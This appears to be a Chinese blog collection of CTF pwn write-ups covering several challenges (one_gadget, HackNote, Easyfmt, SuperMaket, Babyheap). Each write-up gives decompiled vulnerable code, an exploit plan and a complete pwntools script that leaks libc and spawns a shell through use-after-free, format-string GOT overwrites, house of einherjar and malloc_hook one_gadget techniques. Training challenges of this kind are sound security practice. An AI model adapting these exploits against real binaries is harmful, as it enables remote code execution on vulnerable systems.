unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
printf("Give me your one gadget:");
__isoc99_scanf("%ld", &v4);
v5 = v4;
v4();

思路: 通过init打印出printf在libc中的地址, 然后计算libc基地址, 使用one_gadget打shell

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "one_gadget"
libFile = "./libc-2.29.so"

remoteIp = "node3.buuoj.cn"
remotePort = 26163

LOCAL = 0
LIBC = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------


#--------------------------Exploit--------------------------
def exploit():
ru('0x')
print_addr = int(r(12), 16)
li('print_addr:' + hex(print_addr))
lib_base = print_addr - lib.sym['printf']
one_gadget =[0xe237f,0xe2383,0xe2386,0x106ef8]

sh = lib_base + one_gadget[3]

li('lib_base:' + hex(lib_base))
li('OG addr:' + hex(sh))
ru(':')
p = str(sh)
#db()
sl(p)
#a = 1


def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIBC:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
#io = exe.process()

else:
io = remote(remoteIp, remotePort)
if LIBC:
lib = ELF(libFile)

exploit()
finish()

'''
pwn@Ubuntu:~/share$ one_gadget libc-2.29.so
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL

0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

HackNote

来源

World of Attack & Defense

难度

4 / 10

保护

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

简单描述

相对比较简单的堆利用题目, 保护机制比较少,涉及知识点也比较少…

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
unsigned int rm()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]); //释放后没有让指针数组清空
puts("Success"); // not set null
}
return __readgsdword(0x14u) ^ v3;
}
... ...


//打印函数
unsigned int puts_0()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
//vul 可以在堆中修改实现控制eip
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); //若没释放会调用 addputs函数
return __readgsdword(0x14u) ^ v3;
}

int __cdecl addputs(int a1)
{
return puts(*(const char **)(a1 + 4));
}

知识点

堆的基本利用

思路

使用UAF漏洞实现和在堆中调用指针函数漏洞来实现获取libc基址,获取system地址,再次使用UAF修改该指针打印调用system获得shell

利用

获取libc基址

1
2
3
4
5
6
7
8
9
10
11
12
13
ad(0x10, 'A')
ad(0x10, 'B')
rm(0)
rm(1)

dump_addr = 0x0804862B
ad(0x8, p32(dump_addr) + p32(exe.got['puts']))
dp(0)
puts_addr = u32(r(4))
li('puts_addr: ' + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')

getshell

通过修改函数指针为system获得shell

1
2
3
4
# get shell
rm(2)
ad(0x8, p32(sys_addr) + '; sh')
dp(0)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
from LibcSearcher import LibcSearcher

context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'

#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "hacknote"
libFile = ""

remoteIp = "111.198.29.45"
remotePort = 32693

LOCAL = 0
LIB = 0

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, text):
sa('Your choice :', str(1))
sa('Note size :', str(size))
sa('Content :', text)

def rm(index):
sa('Your choice :', str(2))
sa(':', str(index))

def dp(index):
sa('Your choice :', str(3))
sa(':', str(index))

def q():
sa('Your choice :', str(4))

#--------------------------Exploit--------------------------
def exploit():
#li(rl())
ad(0x10, 'A')
ad(0x10, 'B')
rm(0)
rm(1)

dump_addr = 0x0804862B
ad(0x8, p32(dump_addr) + p32(exe.got['puts']))
dp(0)
puts_addr = u32(r(4))
li('puts_addr: ' + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
# get shell
rm(2)
ad(0x8, p32(sys_addr) + '; sh')
dp(0)

def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()

Easyfmt

来源

攻防世界

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v4; // [rsp+118h] [rbp-8h]

v4 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("welcome to haerbin~");
if ( (unsigned int)CheckIn() == 1 )
{
memset(&buf, 0, 0x100uLL);
write(1, "slogan: ", 9uLL);
read(0, &buf, 0x100uLL);
printf(&buf, &buf, argv); //fmt vul
}
puts("bye~");
exit(0); // modify this
}

思路

这是一个有概率的题,需要多打几次, 概率绕过第一个后, 通过fmt漏洞修改exit的got表实现循环利用,然后泄漏__libc_start_main获取libc基址, 获取system地址后, 然后再partial write修改printf的got为system地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'
#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "easyfmt"
libFile = ""

remoteIp = "111.198.29.45"
remotePort = 53453

LOCAL = 0
LIB = 0
# ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------

def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

#--------------------------Exploit--------------------------
def exploit():
li(rl())
p = '\x31' + '\x00' * 9
s(p)
ru(':')
offset = 10
start_addr = 0x400750
exit_got = exe.got['exit']
exit_plt = 0x400720
fmt_addr = 0x400982

#leaking libc
fini_array = 0x400a74
#modify exit got as fmt_start
#can't set addr at front
p = '%' + str(fmt_addr & 0xFFFF) + 'c%10$hn' + 'A' * 4 + p64(exit_got)
li('exit_got: ' + hex(exit_got))
s(p)

#leaking libc
ru(':')
p = '%' + str(44) +'$p'
s(p)
ru('0x')
__libc_start_main = int(r(12), 16) - 240
#db()
libc = LibcSearcher('__libc_start_main', __libc_start_main)
libc_base = __libc_start_main - libc.dump('__libc_start_main')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')
printf_addr = libc_base + libc.dump('printf')

#log
li('libc_base: ' + hex(libc_base))
li('printf_got: ' + hex(exe.got['printf']))
li('system_addr: ' + hex(sys_addr))
li('printf_addr: ' + hex(printf_addr))

li(hex(0x550000 >> 8 * 2))
rb3 = (sys_addr & 0xFF0000) >> (8 * 2)
li('sys_5: ' + hex(rb3))

# modify printf got addr as system
p = '%' + str(rb3) + 'c%13$hhn'
p += '%' + str((sys_addr & 0xFFFF) - rb3) + 'c%14$hn'

p += p64(exe.got['printf'] + 2) #0xFF0000
p += p64(exe.got['printf'] + 0) #0xFFFF

#db()
s(p)
sl('/bin/sh')



def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()

SuperMaket

漏洞点:

添加和删除基本上没有十分严密, 找不到漏洞, 输入的长度且必须是n - 1, 不存在 off by one.然而在修改description的时候,当新的大小与以前大小不同时, 就会realloc重新分配内存.但没有跟新list数组中的指针.若重新分配大的话, 就造成use after free.

简要说一下 realloc函数吧:

extern void *realloc(void *mem_address, unsigned int newsize);

realloc会根据newsize大小来判断怎样分配新的内存, 并却将原来的数据拷贝到新分配的内存中.

realloc包含了 malloc, free, memcpy三个函数功能, 若新的大小过大的时候, 且在相邻chunk没有空间可分配, 这时候,系统就会去找一个空间够的地方来开辟内存, 这时候就可能涉及到这三个函数的功能. malloc新的内存, mcmcpy拷贝数据, free掉以前的chunk.

漏洞代码:

1
2
3
4
5
6
7
for ( size = 0; size <= 0 || size > 256; size = inputNum() )
printf("descrip_size:");
if ( *((_DWORD *)(&list_0)[v1] + 5) != size )
realloc(*((void **)(&list_0)[v1] + 6), size); //漏洞点
printf("description:");
return inputName(*((_DWORD *)(&list_0)[v1] + 6), *((_DWORD *)(&list_0)[v1] + 5));
}

整体思路:

获得libc的基地址:

利用这个漏洞来修改free函数的got表为puts, 传入参数为atoi函数的got地址.调用free时, 获得atoi在libc中的地址.计算偏移即可

调用system.

获得libc地址之后, 也利用这个漏洞修改atoi的got表地址为system地址.然后在进行选择的时候直接传入参数 ‘/bin/sh’即可获得shell.当然还可以继续修改free的got地址为system.但需要得到’/bin/sh’在libc中的地址, 且在chunk头的decription地址中写入该地址.调用free也行, 我试过了, system虽然能调用成功, 就是这个’/bin/sh’在libc中的偏移有问题. 结果 就是sh :cmd not found

以上就是整体思路:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'

#context(arch = 'i386', os = 'linux', log_level='debug')
#context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "supermarket"
libFile = "libc.so.6"

remoteIp = "111.198.29.45"
remotePort = 57966

LOCAL = 0
LIBC = 1

r = lambda x : io.recv(x)
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(index, size, text):
sla('>> ', str(1))
sla(':', str(index))
sla(':', str(0))
sla(':', str(size))
sla(':', text)

def rm(index):
sla('>> ', str(2))
sla(':', str(index))

def dp():
sla('>> ', str(3))

def md(index, size, text):
sla('>> ', str(5))
sla(':', str(index))
sla(':', str(size))
sla(':', text)

def q():
sa('>> ', str(6))

#--------------------------Exploit--------------------------
def exploit():
ad(0, 0x80, '0' * (0x80 - 1))
ad(1, 0x10, '1' * (0x10 - 1))
md(0, 0x90, '') #不要向free掉的数据块中写入数据. 不然后期无法malloc
ad(2, 0x10, '2' * (0x10 - 1))
p = p32(0x32) + p32(0) * 4
p += p32(0x10) + p32(exe.got['free'])
p += '\x19'
md(0, 0x80, p) # modify dscription addr as free got addr
p2 = p32(exe.plt['puts'])
md(2, 0x10, p2) #modify free got addr as puts got addr

# leaking
p3 = p32(0x32) + p32(0) * 4
p3 += p32(0x10) + p32(exe.got['atoi'])
p3 += '\x19'
md(0, 0x80, p3)

rm(2) #puts atoi addr in libc
atoi_addr = u32(r(4))
li('libc_base: ' + hex(atoi_addr))
libc_base = atoi_addr - lib.sym['atoi']
li('libc_base: ' + hex(libc_base))
sys_addr = libc_base + lib.sym['system']
sh_addr = libc_base + 0x0015902b

#modify got addr as system
ad(3, 0x10, '3' * (0x10 - 1))

p4 = p32(0x32) + p32(0) * 4
p4 += p32(0x10) + p32(0x0)
p4 += p32(0x19) + p32(0x0) * 5

p4 += p32(0x21) # modify item 3

p4 += p32(0x33) #3
p4 += p32(0x0) * 4
p4 += p32(0x10)
p4 += p32(exe.got['atoi']) + '\x19'

md(0, 0x80, p4)


p5 = p32(sys_addr)
md(3, 0x10, p5) # modify atoi got table as system

#db()

# call system with /bin/sh
sla('>> ', '/bin/sh')

def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

exe = ELF(exeFile)
if LOCAL:
if LIBC:
lib = ELF('/lib/i386-linux-gnu/libc.so.6')
#io = exe.process(env = {"LD_PRELOAD" : libFile})
io = exe.process()

else:
io = remote(remoteIp, remotePort)
if LIBC:
lib = ELF(libFile)

exploit()
finish()

Babyheap

来源

World of Attack & Defense

难度

6 / 10

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

简单描述

只有4个功能, 添加,删除,查看,退出.保护全开,只有一个漏洞可以利用.

vul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall read_input(__int64 a1, int a2)
{
char buf; // [rsp+13h] [rbp-Dh]
int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
if ( (signed int)read(0, &buf, 1uLL) < 0 )
puts("Read error!\n");
if ( buf == 10 )
break;
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0; // off by null
return __readfsqword(0x28u) ^ v5;
}

off by null 漏洞,还有一个是在free时,unsigned int与signed int的索引值,但利用不了…

知识点

house of einherjar, off by one, unlink check, fastbin attack, realloc_hook to banance stack, one_gadget

思路

通过house of einherjar实现堆合并,然后通过unsorted bin特性分割堆块,打印获取main_arena + 88地址,通过fastbin attack 打入 malloc_hook - 0x23处,通过 malloc_hook来实现Onegaget,realloc_hook调整execve第二个参数

利用

准备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'

#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "timu"
libFile = "./libc.so.6"
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "0.0.0.0"
remotePort = 0

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, data):
sla('Your choice :', str(1))
sla('Size:', str(size))
sa('Data:', data)

def rm(idx):
sla('Your choice :', str(2))
sla('Index:', str(idx))


def dp():
sla('Your choice :', str(3))

#def q():
# sla(':', str(5))

构造堆快布局

1
2
3
4
5
ad(0x80, 'A' * 0x80) # idx 0 为了合并
ad(0x80, 'B' * 0x80) # idx 1 为了在合并后,然后分割堆快打印出main_arena
ad(0x68, 'C' * 0x68) # idx 2 为了可以利用fastbin attack 和 off by null
ad(0xF0, 'E\n') # idx 3 为了使用house of einherjar 合并 chunk 0控制所有堆块
ad(0x68, 'F\n') #为了防止top chunk 向前合并

使用house of einherjar 来合并 chunk 1

1
2
3
4
5
6
7
8
9
10
11
rm(2) #为了使用 off by null 覆盖 chunk3 释放重新开辟
# use house of einherjar
p = 'C' * 0x60
p += p64(0x190) #prev_size = chunk 0 addr - chunk 3 addr
ad(0x68, p) #使用 off by null 覆盖 chunk 3

rm(2) #先释放掉进入fastbin中, 后面只需通过溢出修改fd指向我们想要的地方
# 触发 house of eiherjar
#避免unlink检查, 先是放掉chunk 0, 这样 chunk0 的fd 和 bk指向的都是main_arena + 88,这样可以绕过unlink检查 FD-bk != P || BK->fd != p
rm(0)
rm(3) #合并到chunk 0

泄漏 main_arena 和libc基址

通过分割unsorted bin实现main_arena信息转移,通过开辟0x80内存后, main_arena信息会跑到chunk 1中, 由于我们还对chunk 1没有释放, 直接打印即可获取main_arena + 88 处地址

1
2
3
4
5
6
7
# leak main_arena
ad(0x80, 'A' * 16 + '\n') #分割 unsorted bin, main_arena 会出现在 chunk 1中
dp()
main_arena = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - 0x58
libc_base = main_arena - 0x3c4b20
li('main_arena ' + hex(main_arena))
li('libc_base ' + hex(libc_base))

fastbin attack打入 malloc_hook处

1
2
3
4
5
6
7
8
9
10
#通过开辟内存溢出掌控chunk 2, 在fastbin 中chunk 2是我们之前释放的, 现在只需要修改fd指向 malloc_hook -0x23处
p = '\x00' * 0x80
p += p64(0)
p += p64(0x71)
p += p64(main_arena - 0x33)
p += '\n'
ad(0xA0, p)

ad(0x68, '\n') #for ajust fastbin

修改malloc_hook

由于直接修改malloc_hook为one_gadget,由于参数 [rsp + x] x 为0x30,0x50,0x70都不能使[rsp + x]为0,也就是说在执行execve的时候,第二个参数的内容没有满足为 0,所以不能触发get shell, 需要使用 realloc_hook来进行调整rsp的偏移,进而修改[rsp + x]满足为0,而在realloc_hook处,我们可以填写reallc的地址根据push来调整rsp的偏移,达到 [rsp + x]为0, 而在执行push完之后,就先进行判断 realloc_hook是否为0,若不为0,就先执行 realloc_hook处,这时我们就可以填写one_gadget 到realloc_hook处来打one_gadget

realloc_hook反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> disass 0x7fe7cb0ea6c0
Dump of assembler code for function __GI___libc_realloc:
0x00007fe7cb0ea6c0 <+0>: push r15
0x00007fe7cb0ea6c2 <+2>: push r14
0x00007fe7cb0ea6c4 <+4>: push r13
0x00007fe7cb0ea6c6 <+6>: push r12
0x00007fe7cb0ea6c8 <+8>: mov r13,rsi
0x00007fe7cb0ea6cb <+11>: push rbp
0x00007fe7cb0ea6cc <+12>: push rbx
0x00007fe7cb0ea6cd <+13>: mov rbx,rdi
0x00007fe7cb0ea6d0 <+16>: sub rsp,0x38
0x00007fe7cb0ea6d4 <+20>: mov rax,QWORD PTR [rip+0x33f8f5] # 0x7fe7cb429fd0
0x00007fe7cb0ea6db <+27>: mov rax,QWORD PTR [rax]
0x00007fe7cb0ea6de <+30>: test rax,rax
0x00007fe7cb0ea6e1 <+33>: jne 0x7fe7cb0ea8e8 <__GI___libc_realloc+552>
0x00007fe7cb0ea6e7 <+39>: test rsi,rsi
0x00007fe7cb0ea6ea <+42>: jne 0x7fe7cb0ea6f5 <__GI___libc_realloc+53>
0x00007fe7cb0ea6ec <+44>: test rdi,rdi

通过调试试出了两个one_gadget满足execve 第二个参数内容为0

  1. malloc_hook = libc_base + 0x4526a, realloc_hook = realloc_addr + 2
  2. malloc_hook = libc_base + 0xf1147, realloc_hook = realloc_addr + 20

execve执行情况如下

1
2
3
4
0x7fe7cb15715d <exec_comm+2285>    call   execve <0x7fe7cb132770>
path: 0x7fe7cb1f2d57 ◂— 0x68732f6e69622f /* '/bin/sh' */
argv: 0x7ffe640ad200 ◂— 0x0
envp: 0x7ffe640ad2c8 —▸ 0x7ffe640adfaf ◂— 'LD_PRELOAD=/lib/x86_64-linux-gnu/libc.so.6'

payload构造如下

1
2
3
4
5
6
7
8
9
10
11
12
#modify malloc_hook
realloc_addr = libc_base + lib.sym['realloc']
li('realloc_addr ' + hex(realloc_addr))
gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + gadget[3]
p = '\x11' * (0x13 - 8)
p += p64(one_gadget) # realloc_hook
#mallok_hook then call realloc for banance stackthen call one_gadget
p += p64(realloc_addr + 20) # malloc_hook
p += '\n'
ad(0x68, p)

get shell

1
2
3
# get shell
sl('1')
sl('1')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python
#-*- coding:utf-8 -*-

# Author: I0gan
# Team : D0g3

from pwn import *
#from LibcSearcher import LibcSearcher

#context.log_level='debug'
#context.terminal = ['konsole', '-x', 'bash', 'c']
#context.terminal = 'konsole'

#context(arch = 'i386', os = 'linux', log_level='debug')
context(arch = 'amd64', os = 'linux', log_level='debug')

exeFile = "timu"
libFile = "./libc.so.6"
libFile = '/lib/x86_64-linux-gnu/libc.so.6'

remoteIp = "0.0.0.0"
remotePort = 0

LOCAL = 1
LIB = 1

r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
pd32 = lambda x : p32(x).decode() #python3 not surport str + bytes
pd64 = lambda x : p64(x).decode()
li = lambda x : log.info(x)
db = lambda : gdb.attach(io)

#--------------------------Func-----------------------------
def ad(size, data):
sla('Your choice :', str(1))
sla('Size:', str(size))
sa('Data:', data)

def rm(idx):
sla('Your choice :', str(2))
sla('Index:', str(idx))


def dp():
sla('Your choice :', str(3))

#def q():
# sla(':', str(5))

#--------------------------Exploit--------------------------
def exploit():
ad(0x80, 'A' * 0x80) # idx 0
ad(0x80, 'B' * 0x80) # idx 1
ad(0x68, 'C' * 0x68) # idx 2
ad(0xF0, 'E\n') # idx 3
ad(0x68, 'F\n') #for avoid merge to top chunk
rm(2)
# use house of einherjar
p = 'C' * 0x60
p += p64(0x190)
ad(0x68, p)

rm(2) #for fastbin attack, now make it in fastbin
# trigger house of eiherjar
rm(0)
rm(3)
# leak main_arena
ad(0x80, 'A' * 16 + '\n')
dp()
main_arena = u64(ru('\x7f')[-5:] + '\x7f\x00\x00') - 0x58
libc_base = main_arena - 0x3c4b20
li('main_arena ' + hex(main_arena))
li('libc_base ' + hex(libc_base))
# fastbin attack to malloc_hook - 0x23
p = '\x00' * 0x80
p += p64(0)
p += p64(0x71)
p += p64(main_arena - 0x33)
p += '\n'
ad(0xA0, p)

ad(0x68, '\n') #for ajust fastbin
#modify malloc_hook
realloc_addr = libc_base + lib.sym['realloc']
li('realloc_addr ' + hex(realloc_addr))
gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + gadget[3]
p = '\x11' * (0x13 - 8)
p += p64(one_gadget)
#mallok_hook then call realloc for banance stackthen call one_gadget

p += p64(realloc_addr + 20)
p += '\n'
ad(0x68, p)
# get shell
sl('1')
sl('1')
#db()

def finish():
ia()
c()

#--------------------------Main-----------------------------
if __name__ == '__main__':

if LOCAL:
exe = ELF(exeFile)
if LIB:
lib = ELF(libFile)
io = exe.process(env = {"LD_PRELOAD" : libFile})
else:
io = exe.process()

else:
exe = ELF(exeFile)
io = remote(remoteIp, remotePort)
if LIB:
lib = ELF(libFile)

exploit()
finish()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

House Of Grey

来源

World of Attack & Defense

难度

8 / 10

保护

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

